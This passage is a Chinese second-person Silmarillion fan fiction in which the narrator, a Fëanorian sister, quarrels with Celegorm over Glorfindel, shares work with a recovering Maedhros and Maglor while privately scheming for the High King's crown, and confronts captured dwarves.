“我还以为等自己再醒过来,眼前的画面还是那一成不变的火山以及崇山峻岭。”迈兹洛斯自嘲地笑了一下,其实那笑容很难看,甚至还有点可怜兮兮的,你正要收回手,但迈兹洛斯忽然握住你的手腕,他问:“你要离开了吗?” “不,我暂时还不会离开,你希望我待在这里陪你?” 迈兹洛斯不是那种会直接表达内心的精灵,尤其是在你面前,你认为他可能是觉得自己是兄长所以拉不下面子,因此他很少向你提出请求,大部分时候都需要你察觉到他的另外一层意思。 就比如说现在,他的目光闪烁,意思就是希望你留下来,你拍拍他的手背,“好吧,那我明白了,我就在这里陪你,别担心,我不会离开的。” 听你这么说迈兹洛斯这才松开手,他大概是觉得自己刚才的表现不太成熟,就又轻咳一声,“如果你还有急事的话,也可以先离开的。” 他话是这么说的,但假如你真的离开了,那他估计就是另外一幅表情了,你对他实在是太了解了。 “我没什么急事,现在最重要的事情就是照顾你。”顺便再从他手里接过至高王的王冠,你没说出口的那后半句话才是重中之重,迈兹洛斯还想说些什么,恰好这时屋外传来一阵风风火火的脚步声,你和迈兹洛斯同时看向门口,定睛一看,来者原来是凯勒巩,他一见到迈兹洛斯醒过来,就跟个大喇叭似的到处嚷嚷,一时间几乎整个宫殿的精灵都知道迈兹洛斯醒过来了,凯勒巩在外面兴奋地转了一圈,然后又跑回到迈兹洛斯的房间门口。 迈兹洛斯无奈地说:“他还是一如既往的大嘴巴。” 第117章 第117章比如说至高王的王冠,…… 站在门口的凯勒巩说:“你刚才说的话我可都听见了啊,哪有你这样的,一醒过来就埋怨我大嘴巴?”虽然他嘴上说着这样的话,但看他的表情就知道他对于迈兹洛斯醒过来这件事情感到无比高兴,他走到你身边拉过一张椅子坐下,兴冲冲地说;“我今天早上还在和库茹芬聊你到底什么时候醒过来呢。” 迈兹洛斯靠着床头,他大概猜到了什么,笑着说:“所以是你打赌赢了吗?” “当然。”凯勒巩一个不留神就把真心话给说出来了,想要收回这话已经来不及了,他只能尴尬地笑了一下,然后说:“你又是怎么猜到我们在打赌的?” “难道我还不了解你吗?”而且他和库茹芬之间也不是第一次这么打赌了,以前还会为你最喜欢哪个哥哥打赌,最后的结果就是无论是凯勒巩还是库茹芬都输了,因为你对待所有的哥哥都一视同仁,别提什么偏爱不偏爱的了。 凯勒巩又把你扯进他们的话题里,他说:“唉,现在好歹弥尔洛斯也在场呢。”言下之意就是多少给他一点面子。 你轻飘飘地说:“没关系,你的真实性格到底如何我也了解得一清二楚,你这么说就太见外了。” 迈兹洛斯瞥见从你口袋里露出一角的信封,又问:“是谁写了信给你?” 这话一出来,话题的重心就又都转移到你身上去了,凯勒巩也有些紧张地问:“该不会是那个叫格洛芬德尔的家伙吧,他怎么还没放弃啊?唉,他这是死缠烂打你知道吗?” 还没等到你的回答,凯勒巩就已经自顾自地想象出了整个事情的来龙去脉,让你不得不佩服他的想象力有多丰富,你扯了扯嘴角,“就算真的是他写信给我,那你也无权干涉吧?” 凯勒巩皱起眉,“我可是你的哥哥,为什么不能关心你这些事情?” 这和关心可不 沾边,更像是他的控制欲在作祟,你的表情冷淡了许多,就连靠在床头的迈兹洛斯也察觉到了这一点,他叫了一声凯勒巩的名字,但是没能拦住凯勒巩,后者又说:“我觉得他可配不上你,他那么普通,到底有什么特殊之处的呢?” “你都没有和他接触过,又怎么能妄下结论呢?”真正让你感到烦躁的不是凯勒巩对格洛芬德尔的恶意评价,这只占了一小部分,最让你不耐烦的是他的态度,那种理所当然插手你的选择的态度,你们身体里流淌着的相同血脉更像是他控制你的正当理由和工具。 只可惜凯勒巩误会了你的意思,倒不如说他根本就没有往其他方面思考,他只是单纯地觉得你这是在为格洛芬德尔说话,要知道他都未曾在你这里得到过偏爱,可这么一个普通的诺多居然还能让你这么为他出头,凯勒巩更加生气了,连带着语调都变得尖锐许多,他说:“这还需要接触吗?这不是看一眼就知道的事情吗?我可不会在这种精灵身上浪费时间和精力,你可别犯糊涂。” “什么叫做清醒理智,什么又叫做犯糊涂,在你看来所有不合你心意的决定都是犯糊涂吗?这么说来你就是那个唯一的标准吗?”相较于着急的凯勒巩,你显得就平静许多,脸上的表情都没什么变化,但迈兹洛斯感知到了你内心的愤怒,他当即中止你们的话题,他说:“好了——你们一定要在我刚刚醒来的时候就在我床边吵架吗?还是说这是你们提前安排好的节目呢?” 凯勒巩一着急就容易红脸,他可没被你说服,他仍旧发自内心地觉得自己是正确的,“我们可没无聊到专门排这么一出节目,这一点都不好玩。” 你冷不丁地站起身,凯勒巩的目光下意识地追随你的身影,从迈兹洛斯的视野看过去,他的嘴唇动了动,或许他是想要说些什么挽留你的,但你没有给他这个机会,转身离开。 在你走后凯勒巩浑身散发着失落的气息,他不解道:“难道我说错了什么吗?可我说的不都是大家所想的吗?”又不止他一个是这么想的,他可以肯定其他的费诺里安都是这么觉得的,就比如说玛格洛尔在听说芬国昐还有他的儿子以及下属都来到中土以后,他也在思考如何避免你和格洛芬德尔见面,只不过他没有表现得那么明显而已,怎么到头来就好像是他的错了? “也许吧,但她不喜欢被干涉,你这么做她当然会生气了。”迈兹洛斯感觉头有些痛,倒不是受伤的后遗症,而是刚才亲身经历你和凯勒巩的吵架后脑袋就隐隐作痛,毕竟无论是凯勒巩还是你他都很关心,所以话都不能说得太绝。 “我没办法想象她找到伴侣成婚的画面,明明她在我的记忆里还只有那么高,怎么一眨眼就变成了坏脾气的精灵了?”说着,凯勒巩比划了一下在他记忆里你的身高,迈兹洛斯扯了扯嘴角,他对凯勒巩说的这话不太能赞同,什么叫做坏脾气的精灵,你顶多就是有些恶趣味而已,而且大部分时候性格温和友善,反倒是凯勒巩,原先在维林诺的时候就到处闯祸,要不是母亲奈丹尼尔护着他,估计得要被父亲费艾诺狠狠教训一顿呢。 “你怎么不说话了?”凯勒巩又说了一大堆的废话,最后才问迈兹洛斯怎么不说话,后者瞥了他一眼,幽幽地说:“你好像也没给我说话的机会吧?” 凯勒巩满脸愁容,他得找个机会和你道歉,当然,他向你道歉并不代表他意识到自己哪里做错了,他这么做只是为了逃避你的冷暴力,毕竟比起热暴力,他最害怕的莫过于你无视他的存在,唉,但如果要向你道歉,这就意味着他还得说几句格洛芬德尔的好话,这可真是难为他了。 过了一会,凯勒巩喃喃道:“我希望她能一直待在我们身边,我们永远不分开那该多好啊。” 迈兹洛斯也说:“我也是这么想的。” 但是,但是。 迈兹洛斯深知这很难实现,你似乎在追寻什么,等你得到你想要的东西后,你还会停留在他们身边吗?他想大概是不会的。 另外一边的你离开迈兹洛斯的房间以后又遇到了前来送信的信使,好吧,还真是被凯勒巩给说中了,这次送到你手上的真的是格洛芬德尔的信件,你没有着急打开,等回到房间以后才用小刀拆开信封,信封里面除了折叠得整整齐齐的信纸,还有一条吊坠,是由他们在营地附近的矿洞里开采出来的矿石制作而成的,难怪你刚才捏着这信封的时候觉得这手感有些凹凸不平的,原来是里面还装着别的东西。 你盯着这条吊坠看了一会,那枚矿石被打磨成完美的水滴形状,表面光滑,里面蕴藏着莹莹白光,你暂时把这条吊坠放在一边,接着又抽出信纸展开,格洛芬德尔的这封信应该是修改过很多遍的吧,因为你能读出他字里行间的犹豫纠结,每一句话每一个字他都是经过斟酌后才写上去的,他想要告诉你这里的营地一切安好,与此同时又想要询问你那边的情况如何。 可该怎么问才不至于惹得你厌烦就又是另外一个问题了,因此他的问句都很委婉,而且写到后面他又会习惯性地补充一句“如果你太忙就忽略我所问的这些问题吧”,他将自己的姿态放得那么低,你甚至都能通过他的字句想象出他写这封信时的表情,估计是低垂眉眼,写一句顿一下的样子吧。 看完这封信,你想了想,自己现在恰好有空写回信,于是就拉开椅子坐在书桌前又从抽屉里取出几张信纸铺在桌上,但你才写了一个开头,房间的门就被谁从外面敲响,你才写完开头的寒暄,对着门外的来客说:“门没有锁,进来吧。” 闻言,你房间的门被打开,那脚步声很轻,你回过头,原来是玛格洛尔,他说:“厨房准备了下午茶,你现在有空吗?” 你单手托腮,“你真的只是为了告诉我下午茶准备好了才来的吗?” 玛格洛尔笑了一下,“当然还有别的原因。” “是凯勒巩让你过来的?”肯定是凯勒巩这个大嘴巴把你们吵架的事情也给说出去了,但你觉得刚才顶多就算是争论,还没有到吵架的地步,如果真的是吵架,那凯勒巩是绝对说不过你的。 “没有,他都没来找我,估计是觉得自己的内心很愧疚吧。” 凯勒巩感到愧疚?可得了吧,能让凯勒巩感到愧疚的事情屈指可数,你一听就知道玛格洛尔这是在说谎,但你没有戳穿他,同时也没有配合他,你说:“我们谈论的是同一个凯勒巩吗?” 玛格洛尔瞥见你放在书桌上的信纸,他的视力很好,一眼就看见了你写的开头,他不是有意偷看的,这是他无意中瞥见的,尽管他飞快地收回目光,但还是被你发现了,他说:“这里难道还有别的凯勒巩吗?” 你耸耸肩,“没准还真的有呢,比如说成熟的凯勒巩和幼稚的凯勒巩。” “我还是第一次听这种说法。” 你把信纸反过来,“如你所见,我正在给阿瑞蒂尔她们写信。” “我不是故意偷看的。”玛格洛尔低声向你道歉,你也知道他不会无聊到这种地步,你站起身,“走吧,去享用下午茶点心吧,可不能就这么浪费大好的午后时光。” 其实你在去往餐厅前就有预感自己可能会见到凯勒巩,因此当你目光触及坐在另外一边的凯勒巩时你也没怎么惊讶,只是面色如常地挑选一个靠窗的位置坐下,玛格洛尔就在你对面坐下,他说:“我刚才去看过迈兹洛斯了,他的情况比之前刚刚回来的时候好多了,估计再过一段时间就能完全恢复了吧。” 你端起茶杯听玛格洛尔说话,其实最让你关心的应该是迈兹洛斯在身体恢复以后将至高王的王位传给谁这件事,至于他的身体,据你所知精灵的恢复能力很强,这一点倒不用担心的。 抿了一口茶,你感受到凯勒巩落在你身上的目光,虽然他没说话,但他的目光明明白白地告诉你他想要说些什么。 你装作没看见他的存在,继续喝茶,玛格洛尔去看望迈兹洛斯的时候凯勒巩刚走没多久,房间里就只剩下迈兹洛斯,他见玛格洛尔来了,就说:“唉,你绝对不会想到刚才发生了什么。” “凯勒巩和弥尔洛斯吵架了?”玛格洛尔一下子就猜中了,迈兹洛斯惊讶地睁大眼睛,玛格洛尔接着说,“你肯定会问我是怎么知道的,这很简单,我和凯勒巩擦肩而过的时候一看他的表情就知道不对劲,他还能和谁吵架呢,又或者说谁会那么直接地反驳他呢,答案就只有弥尔洛斯了。” 迈兹洛斯忽然意识到自己的弟弟确实是个绝顶聪明的精灵,他说:“看来你在当摄政王的这些年成长了许多。” 玛格洛尔不以为意,“如果可以我真的不想当这个摄政王,坐上这个位置才知道你平日里为什么总是眉头紧锁了,唉,管理精灵真是太麻烦了,所幸的是你现在回来了。” “我的确是回来了,但我觉得有些事情也该发生变动了。”迈兹洛斯严肃地说,连带着气氛也变得严肃起来,玛格洛尔不由自主地挺直背脊,问道:“什么变动?” “这件事情证明我并不适合成为诺多的至高王,我想……这顶王冠应该交更加适合的精灵手里。” 他说得都已经这么明白了,玛格洛尔自然而然地也听明白了,他说:“我尊重你的选择,只不过,你要将王冠交给谁呢?” 迈兹洛斯还没想好,在他看来至高王的王冠更像是一个诅咒,那是对于费诺里安的诅咒,无论是他的祖父芬威还是父亲费艾诺,甚至是他自己都因为这顶王冠而遭受了难以想象的磨难,因此在他的内心已经有了答案,只不过他暂时没有告诉玛格洛尔,他只是说:“这个我暂时还不能确定。” 见状,玛格洛尔也不再追问,他又说:“看来接下来一阵子又得看见凯勒巩唉声叹气个不停了。”以前他惹你生气的时候你一连好几天没有搭理他,这可把凯勒 巩给急坏了,那些天他一直拉着玛格洛尔询问该怎么做才能让你消气,现在的情况和之前那次差不多。 迈兹洛斯对此早已习以为常,他不以为意地说:“正好也该让他学学怎么收敛自己的脾气了,而不是一直那么‘心直口快’。” 还好凯勒巩不在场,否则听见他们的对话估计又得炸毛。 玛格洛尔的回忆到此结束,他借着端起茶杯喝水的功夫敲了斜对角的凯勒巩一眼,后者还在盯着你看个不停,察觉到玛格洛尔看过来了,他不自然地轻咳一声,然后挺直背脊,装作根本不在乎你们这边的对话,但是他的小表情还是泄露了他的真实心情,他还是那样把内心想法都写在了脸上。 “他在朝你翻白眼吗?”你冷不丁地问道,玛格洛尔顿了顿,突然笑了起来,佩服于你的想象力有多丰富,他说:“没有,他在假装自己什么都不在乎,但其实耳朵都快竖起来了。” 闻言,你轻笑一声,这确实是凯勒巩会做出来的事情,茶杯里的茶水差不多都要变凉了,你喝完最后一口刚刚好。 玛格洛尔又说:“阿瑞蒂尔她们写的信里都说了些什么?她们有说什么时候过来这里吗?”其实玛格洛尔也打心底地欢迎这些同胞的到来,只不过之前发生了太多事情,这两支精灵队伍之间难免心存隔阂,不过如果说开了,那么或许还能回归到以前那样友好的关系的吧,想着想着,玛格洛尔也有些没底,但既然你在这里,你无疑是链接这两支精灵的纽带,也是调解矛盾的关键。 “嗯……什么时候过来她们倒没说,但我想应该快了吧。”阿瑞蒂尔只在信里提到芬国昐希望能够和迈兹洛斯好好谈一谈以此来弥合两边精灵的关系,但具体什么时候过来,她也不是很清楚,你想,大概在芬国昐到访的时候迈兹洛斯恰好借此机会宣布将至高王的位置让给第二家族吧,如果真的是这样,那你希望这一天能再晚一点到来,这样就能再多给你一些准备的时间。 “到时候就要麻烦你了。”玛格洛尔是个聪敏的精灵,他知道到时候肯定得要麻烦你来促成两边的和解,你点了点头,又问:“但我这么做可不是无偿的,我也需要向你们索取报酬。” “你想要怎样的珠宝首饰呢?”玛格洛尔问道。 但你却摇了摇头,提出帮他们分担政务的请求,玛格洛尔问道:“你这不是反而在帮我们减轻负担吗?” “算是吧,但从另一方面来看,我也是一位费诺里安,自然要尽到我应尽的责任。”你嘴上说着冠冕堂皇的套话,实则心里都在盘算如果到时候和其他费诺里安闹掰了,至少还能带走一批精灵发展自己的势力,这样一想也不亏。 其实你早在维林诺时期就在着手发展自己的势力了,只是那个时候费艾诺还活着,大部分的诺多精灵都效忠于他,你就算再怎么努力,他们也只会觉得你是一位温和友善的精灵公主,仅此而已,但现在不一样了,费艾诺死去以后迈兹洛斯又被魔苟斯俘虏了那么久,在经历那么多的事情后,剩下的诺多精灵的心境肯定也发生了改变,这对你来说是绝佳的机会,你得要好好利用才行。 玛格洛尔没有怀疑你的动机,倒不如说他根本就没想过你还会有这等野心。 旁边的凯勒巩实在是坐不住了,他在那边如坐针毡,你倒好,居然压根就没把他放在眼里,怎么还和玛格洛尔聊得那么开心啊,只见他唰的一下站起身,气势汹汹地朝你们走过来,玛格洛尔挑起一边的眉,仿佛在无声地询问他:怎么了? 凯勒巩一屁股坐在你身边,虽然生气,但说话显然没有之前那么冲了,他说:“你就不能理我一下吗?” “好吧。”你放下茶杯,然后问,“怎么没看见胡安呢?” 凯勒巩没想到你的关心居然是关心胡安而不是他,他愣了一下,“就只是这样吗?没了吗?你就没有别的要问的吗?” 你装模作样地沉思片刻,然后认真回答:“没有。” 凯勒巩急得脸颊都泛红了,“我知道我之前说错话了。” “这就是你道歉的态度吗?”玛格洛尔加入你们的对话,凯勒巩没好气地看了他一眼,估计是觉得他怎么突然出来搅浑水了,但是碍于你在场,他也不好发作,只能用眼神来表达自己的不满。 玛格洛尔就好像没看见凯勒巩那眼神,继续说:“我想弥尔洛斯不至于为此生那么大的气。” 你确实没怎么生气,只是想借机冷落他而已,有玛格洛尔替你说话也是件好事,都不用你亲自开口了,凯勒巩深吸一口气,他说:“我知道我应该说一些格洛芬德尔的好话,但是……我实在是说不出来,就算是编也编不出来,我只是觉得,你既然是我们的妹妹,就应该值得最好的。” 你饶有兴致地浅笑起来,“那么你们所说的‘最好的’具体指的又是什么呢?” 凯勒巩被你问得一时语塞,因为他也没想好,到底最好的是什么,是具体的精灵吗?不,在他看来那些精灵没一个合适的,那又是什么呢?到最后凯勒巩皱着眉,嘟哝一声,“我也不知道,但我就是觉得,你该得到一切最好的东西。” 比如说至高王的王冠,你在心里说。 第118章 第118章“该死的尖耳朵居然把…… 后来凯勒巩又说了些道歉的话语,看得出来他在尽可能消除与你之间的矛盾,他中途还向玛格洛尔投去求助的目光,但是后者就装作没看见专心致志地喝茶,凯勒巩只能放弃求助外援,他说:“我可以向你保证,至少我以后对那位精灵不会再说这样的话了。” 你叹了一口气,他怎么到现在还是不明白矛盾的关键呢?你说:“这不是关键点。” “那什么才是关键点呢?”凯勒巩顺势问道,他的内心有些隐秘的喜悦,因为你这么说就从侧面证明你其实也没有那么在意格洛芬德尔。 你撇了他一眼,“关键在于,你在插手干涉我的决定。” 凯勒巩深思片刻,好吧,他确实有这么做,他得承认这一点,但他从始至终都认为这是他的义务与责任,而且这么想的肯定不止他一个,怎么你就偏偏针对他呢?凯勒巩不满道:“你的其他哥哥估计也都是这么想的,你怎么就专挑我呢?” 玛格洛尔当即就要和凯勒巩撇清关系,他说:“稍等片刻,我可没有说过类似的话。”言下之意就是别把他卷入这档子事情里。 谁让玛格洛尔刚才都不帮他的呢,凯勒巩轻哼一声,” 那可不一定,没准你什么时候就说过了,只不过你压根就没注意到而已。” 玛格洛尔算是明白了,凯勒巩这家伙是打算让他也不好过,他当即解释道:“弥尔洛斯做的任何选择我都会尊重的。” “那我也是。”凯勒巩扬起下巴,你没理会他们这场互相攀比的表演,要是他们知道你内心的想法估计就不会那么说了。 “所以现在矛盾解决了吗?”凯勒巩的声音飘到你耳边,你一侧过头就看见他眼巴巴地望着你,你说:“其实我本来就没那么生气的。” 凯勒巩自然而然地把你这句话当成了和解的信号,他立刻笑容满面,“很好,那我们现在就和好了对么?” 你移开视线,“是的,和好了。” 凯勒巩跳起来说自己要去把胡安带过来一起去玩接球游戏,问你要不要一同去,他都已经热情地握住你的手了,像是打定主意你一定会答应的,陪胡安玩接球游戏可是个体力活,可不能只有你一个精灵遭罪,因此你笑着说:“那就再带上玛格洛尔吧。” 玛格洛尔一看你的笑容就知道你是不怀好意的,他搬出了自己要去处理公务的借口,但被你堵了回去,你说:“我刚刚还看见迈兹洛斯在处理公务了,正好你这位退休的摄政王也可以休息一会了。” 陪胡安玩耍可算不上什么放松休息啊,玛格洛尔在心里嘟哝一声,但你已经拉着他的胳膊把他带了起来,现在说拒绝似乎来不及了。 果然你和凯勒巩在性格上还有很多相似点,都是如出一辙的记仇。 “那我也不能陪你们玩太久,只能玩一会。”玛格洛尔事先说明,但你却说:“这不是你能够决定的事情。” 胡安一看你们三个精灵同时陪它玩球,那一整个下午都玩得不亦乐乎,凯勒巩也乐在其中,不像你,玩了一会就开始偷懒,也不能说是偷懒,准确来说是和玛格洛尔在旁边讨论你日后的职务问题,玛格洛尔说:“你可以担任迈兹洛斯的助手,他应该也会欣然答应的。” 嗯……当迈兹洛斯的助手确实听上去不错,但当你提及自己为什么不能担任精灵领主的时候玛格洛尔的表情微妙,他说:“在此之前都没有过女精灵担任领主的例子……”他说这话的时候很为难,因为一方面他从来没想过这件事情,另一方面他又觉得他们不久前还和你说过你可以拥有任何你想要的东西,这两者之间充满了反差。 “仅仅是因为这个原因吗?”你反问。 玛格洛尔无法直视你的双眼,他的视线看向远方,“精灵领主意味着要庇护自己的子民,保护自己的领土。” “你认为我无法做到吗?” 当然不是,在玛格洛尔看来你的才能放眼整个诺多精灵也是数一数二的,只是,只是……他也不知道为什么,也许做出改变本就是困难的,因为他们也不能确定这样的改变会带来怎样的结果。 向来善于言辞的玛格洛尔此刻只能无力地呼唤你的名字,“弥尔洛斯……” 你打断他的话,“你不必再说了,我知道你的回答了。” 他好像把你又推远了,玛格洛尔又说:“日后等精灵防线建立起来,任何一个费诺里安的领地都是你的家,你想去哪里就去哪里。” 可这不是你想要的回答,算了,你本来也没指望他能说出令你满意的答案,你垂下眼帘,收敛自己的烦躁与不甘,笑了一下,“我刚才只是在开玩笑的,你们那么好,我怎么会舍得离开你们呢?” 玛格洛尔的目光划过你的面庞,仿佛在确认什么,过了几秒,他也跟着配合地笑了起来,“原来是这样啊。” 远处的凯勒巩终于发现你们在偷懒了,他因为漫山遍野地跑来跑去,脸颊又变得红彤彤的,他嚷嚷着,“啊呀——你们怎么又在背着我偷偷聊天了!” 玛格洛尔没什么歉意地向凯勒巩道歉。 时间就这样一眨眼来到了晚上,在用过晚餐以后你没回自己的房间,而是去了迈兹洛斯的书房,房间里的灯火从门缝到里溢出来,你推开门,迈兹洛斯正坐在书桌后看公文,因为他的右手还没有完全恢复,所以他现在都是用左手握住羽毛笔写字,他一抬头,看见来者是你,就对你招招手,“你今天下午和凯勒巩在后山玩得很开心?” 你走到他身边拉过一张椅子坐下,“你又是怎么知道的?” 迈兹洛斯单手托腮,“看到的,我在辛辛苦苦批阅公文的时候你们还玩得那么开心,唉,我的心里也确实有些不平衡。” 偶尔,只是非常偶尔的时候迈兹洛斯会在你面前表现出稚气的一面,就比如说现在,他在其他弟弟面前很少这样,你几乎从未见过。 “为了表达我的歉意,那么日后我就是你的助手了,我会尽可能替你分担一些公务的。”说着,你的目光落在他放在一旁的公文上,精灵的公文和人类的公文有所不同,但不管怎么说你也是当过两次人类国王的人了,处理精灵的公文对你来说并不难。 迈兹洛斯只是随口和你说一句而已,他没想到你是认真的,还分出了一摞文件,笑着对他说:“这些就由我来批阅吧。” “这样你的压力会不会太大了?” 他在开什么玩笑,这点东西谈不上压力,甚至在你看来更像是平淡生活的调剂品,你挑起一边的眉,“完全不会,在你看来我是那么的能力不足吗?” “那倒也不是。”迈兹洛斯下意识地辩解,他停顿片刻,忽然说:“明明我们只分别了一段时间,但好像我们都变了。” 或许他的确是变了,但你从始至终都没变过,只是你先前的伪装太完美了而已,以至于到现在你因为不耐烦而显露出自己的本性都足以让他们觉得你改变了许多。 你拿过另外一支羽毛笔,坐在迈兹洛斯身边与他分享这张办公桌,因为迈兹洛斯用的是左手,所以你们的小臂偶尔会碰到一块。 又一次碰到一块的时候你放下羽毛笔,朝他伸出手,“让我看看你的右手。” “什么?”迈兹洛斯一时之间没有反应过来。 你只好耐着性子重复一遍,“把你的右手递过来,给我看看。” 迈兹洛斯虽然有些奇怪,但还是顺从地递过自己的右手,他的手掌比你的宽大许多,上面还留着几道伤疤,不算太难看,你握着他的手腕,因为长时间被镣铐禁锢,那一块皮肤表面留下了丑陋的伤疤,尽管你只是很平静地注视着他的手腕,但迈兹洛斯却 说:“别看了,这很丑陋。” 他不该让你看到这么丑陋的伤疤的,想着,他就要收回手,但你没给他这个机会,你手上稍微用点力,没让他得逞,你的指腹按压着他的伤疤,“你的右手还没有恢复吗?” “嗯,也许还要再过一阵子才行。”他一边说着,一边暗中观察你,当你不说话的时候面无表情的样子和费艾诺极为相似,就连你那无意识散发出的压迫感也是。 “那你现在用剑呢?也是用左手吗?” “是的,右手没有以前那么灵活了。” 在他看来现在的你有些陌生,你沉默了一会,然后你的声音又在他耳边响起,“你现在变弱了。” 虽然很不想承认,但事实确实如此,迈兹洛斯失落地应了一声,“是的。” “这世界还真是弱肉强食啊。”你突然冒出一句意味不明的话语,前言不搭后语的,让迈兹洛斯更加茫然了,他说:“的确……但是,你也不用担心。” “不,真正应该担心的是你才对。”你的声音轻飘飘,给迈兹洛斯一种虚无缥缈的感觉。 他长久地没有说话,在心里琢磨你说的这一番话到底是什么意思,他要为此而担心什么呢?他不太明白。 可当他与你四目相对时,他的这些问题又问不出口了,这样会显得他很斤斤计较的吧,他想,因此他只能收回自己的手,你们沉默着批阅了一大半的公文,眼看时间也不早了,他放下羽毛笔,“你该去休息了。” “你不去休息吗?”你头也没抬,显然没把他这话放在心上。 “我?我还有别的事情要忙。”你不再像小时候那么好糊弄了,他猜你估计会问他还有别的什么事情,在你问之前他主动回答:“我要给芬国昐大人写信。” 那不是巧了么,你今天正好也在给阿瑞蒂尔她们写回信,你说:“你想好什么时候接待他们了吗?” “你很希望他们早点到访吗?”也是,毕竟你和阿瑞蒂尔还有加拉德瑞尔的关系很好,肯定也想要早点再见到她们吧。 “那倒也没有。”你只是想从迈兹洛斯那里了解他会在给芬国昐的信件里写什么内容。 见你那么好奇,迈兹洛斯大方地把写了一半的信纸递给你看,他想,在你们之间本就不该存在这些小秘密,当然,关于下一任诺多至高王的选择,这件事情太过特殊,他暂时还不能告诉你。 那信纸上写的都是一些寒暄和客套话,你一眼扫过去都没找到什么有用的信息,你凉飕飕地说:“我没想到你居然有一天还会写这样客套的内容。” “岁月总会改变我们某些方面。”说着,迈兹洛斯收回信纸。 你用眼角的余光撇到他继续写信的动作,眼看公文都处理得差不多了,你想自己也应该回房间了,想着,你站起身,迈兹洛斯当即抬起头,“你要回去休息了?” “是啊,明天见。” 你回到房间以后稍微花了点时间给阿瑞蒂尔她们写回信,至于给格洛芬德尔的回信,你只写了个开头,剩下的还是交给明天吧。 可隔天醒来又有那么多的事情需要你处理,你把给阿瑞蒂尔和加拉德瑞尔的回信寄出去以后就把另外一封回信给忘了,这也怪不得你,你从早上开始就一直在忙活各种事情,虽说这个精灵国度已经建立了有一段时间,但一个国家想要发展起来也不是一朝一夕的事情,而且在发展过程中还会出现各种各样的问题。 再加上中土的气候远没有维林诺那么四季如春,你们还得要为寒冬的到来做准备,总而言之,如果不是你有丰富的经验,估计你会忙得头昏眼花的吧。 不过做出这些努力也会得到回报的,至少在短期内就有不少精灵表示你是一位合格的领导者。 有些问题光凭你是无法解决的,你还得召集其他费诺里安合作才行,但问题在于你的那些兄长性格上可没那么容易服从命令,这就使得有些计划的推进没有你想象的那么容易,甚至可以说是障碍重重,在某次开会的时候原本还在讨论军队编排的问题,结果不知道为什么话题一转又偏到了其他地方。 你原本还能耐着性子听他们说这些废话,但听到后面你的耐心都要被耗尽了,眼看你的脸色逐渐变得阴沉,坐在你身边主持会议的迈兹洛斯当即说道:“可以了,无关紧要的话题还是留到之后再说吧。” 也不知道是你的表情起到了作用,还是迈兹洛斯的话起了作用,总之,参加会议的那几个费诺里安总算是安静下来了,他们认真地听你说接下来的内容。 等会议结束以后你长舒一口气,想让这群费诺里安听话可真难,你靠在椅子上,那坐姿充满疲惫感,玛格洛尔说:“刚才真是辛苦你了。” 除了迈兹洛斯和玛格洛尔,其他费诺里安都已经离开了会议室去着手完成你分配的任务,你懒洋洋地抬眼看向玛格洛尔,“是关心还是挖苦?” 迈兹洛斯在旁边整理剩下的文件,他说:“很显而易见是关心。” 你揉了揉隐隐作痛的太阳穴,“管理这几个弟弟可真劳神费力啊,难怪你们以前经常唉声叹气呢。” 玛格洛尔和迈兹洛斯对视一眼,他们两个不约而同地笑了,“我们很高兴你终于能够体会我们的苦衷了。” 你又休息了一会,感觉没有那么疲惫了才坐直身体,“我还是觉得应该尽快联合其他精灵消灭魔苟斯。”毕竟现在的魔苟斯还在战力筹备阶段,一旦等他都准备好了,那精灵的胜算就会被大大削弱,当然你也知道这件事不是你三言两语就能促成的,你深知辛葛王对你们这些个诺多精灵心存偏见,外加之他的王后美丽安所布下的美丽安环带,他是不会轻易出兵支援的。 你唯一能够争取的就是让芬国昐带领的精灵子民与这边的诺多精灵团结协作,所以简单来说还是让你当诺多至高王比较好。 “这件事情还是等芬国昐来了再说吧。”迈兹洛斯整理好文件,你们开完会的时间点不上不下的,恰好错过了下午茶,距离晚餐又有一段时间,这时间你打算在会议室里消磨过去,但迈兹洛斯的下属特意来到会议室,说是在边境遇到了几个奇怪的家伙。 闻言,你也随之站起身,在迈兹洛斯之前开口问道:“奇怪的家伙?” “是的,他们身形矮小,我们一开始还以为是什么动物,但看那样子,似乎不是野兽。”那位下属尽职尽责地向你们汇报边境的情况。 通过他的描述你大概猜到了他所说的生物是什么,那应该就是日后的矮人,只不过现在精灵和矮人的交集不算多,甚至可以说是从未见过这类生物,才会在一开始将其误当成野兽。 说实话你对矮人倒是没有太多的偏见,尽管很多精灵以及人类都认为他们贪婪而固执,但换个角度来看,他们无非就是太过于执着,但他们对于自己的盟友伙伴确实好得没的说,可以用忠心耿耿来形容他们。 因此你想着,脸上浮现出感兴趣的神色,谁会嫌盟友少呢,而且再说了,如果你能够和矮人建立合作关系,对你来说无疑是利大于弊的,因此你一扫之前的疲惫,兴致勃勃地让那名下属在前面带路,你的表现也不由得引起迈兹洛斯和玛格洛尔的注意,毕竟你刚才还显得那么疲惫,此刻却又那么神采奕奕。 迈兹洛斯没说什么,只是对着那个下属点点头,后者这才走在前面为你们带路,你们来到关押着那一群矮人的禁闭室时已经是大半个小时以后的事情了,你站在禁闭室门口,里面传出叽叽喳喳的声响,那是矮人的语言,在精灵听来非常陌生,但是对于曾经多次和矮人打交道的你来说这些话不难理解,但你也没有向在场的精灵翻译,因为那都是一些咒骂的粗俗话。 “该死的尖耳朵居然把我们给关起来了!” “他们要对我们做什么?扒了我们的皮吗?还是要把我们的骨头做成锤子!?” 尽管隔着一扇门,但你还是能够将那群矮人的对话听得一清二楚,他们仗着其他精灵听不懂矮人语就在里头大声密谋如果能逃出去该如何报复这群尖耳朵的精灵。 迈兹洛斯微微皱起眉,玛格洛尔说:“他们怎么这么吵?” 负责守卫的精灵无奈地说:“从他们被关起来到现在他们就一直吵个不停,真不知道他们怎么会有那么的话可以聊的。” 玛格洛尔觉得那群矮人大声嚷嚷都吵到了他的耳朵,他的表情有些不耐烦,挥手让守卫打开门,结果门才打开一条缝,一个矮小的身影就从里面窜了出来,手里还挥舞着一把由禁闭室砖石简易组装的斧头,嘴里到大声喊着,“都林在上,你们这群怪物是无法关住我们的!” 但你眼疾手快地从对方手 里夺走那把简陋的斧头,并且攥住对方的衣领将其压制在地面上,这一系列动作发生在短短的几秒内,其余矮人一看冲锋的矮人被你这么轻轻松松地就压制了,瞬间举起自己的双手表示自己没有恶意。 你微微眯起眼睛,笑着说:“还真是一群不安分的客人啊。” 被你制服的矮人还在大喊大叫,表示自己不会屈服的,你低头说:“但你的伙伴都已经丢下手中的武器了,你确定还要负隅顽抗吗?” 